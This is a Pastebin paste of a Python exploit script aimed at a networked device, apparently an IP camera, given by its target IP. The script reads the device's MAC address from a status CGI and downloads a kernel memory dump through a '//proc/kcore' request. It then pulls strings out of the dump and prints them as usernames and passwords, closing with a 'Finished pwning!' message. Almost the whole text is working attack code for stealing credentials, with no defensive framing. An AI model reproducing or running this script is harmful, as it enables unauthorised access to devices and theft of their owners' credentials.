Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib.request
- import sys
- def getStrings(data:bytes, strlen:int):
- retData = []
- tmpstr = ""
- for b in data:
- #is ascii char?
- if b >= 0x20 and b <= 0x7E:
- tmpstr += str(chr(b))
- else:
- if(len(tmpstr) >= strlen):
- retData.append(tmpstr)
- tmpstr = ""
- return retData
- def getData(url:str) -> bytes:
- print("\t>>> Fetching data from http://" + ip + url)
- with urllib.request.urlopen('http://'+ip+url) as response:
- data = response.read()
- return data
- args = sys.argv
- argc = len(args)
- if(argc <= 1):
- print("Usage: " + args[0] + " <target ip>")
- ip = args[1]
- print("\nFetching device status to get mac address...")
- status = getData('/get_status.cgi')
- status = getStrings(status,0)
- macaddr = status[0].split('\'')[1]
- print("\t>>> Got mac address from status: " + macaddr)
- print("\nFetching kcore memdump (~16mib), this might take a while...")
- memdump = getData('//proc/kcore')
- print("\t>>> Done!")
- memdump_strings = getStrings(memdump,4)
- print("\nSearching for MAC-Address in memdump...")
- found_mac = False
- username = True
- i = 0
- for string in memdump_strings:
- if(found_mac):
- if(username):
- print("\t\t>>> Username: " +string)
- else:
- print("\t\t>>> Password: " +string+"\n")
- username = not username
- i += 1
- if(i == 16):
- print("Finished pwning! ( ಠ ᴗ ಠ )")
- exit()
- i = 0
- if(macaddr == string):
- found_mac = True
- print("\t>>> Found the mac address, printing dumps\n")
Advertisement
Add Comment
Please, Sign In to add comment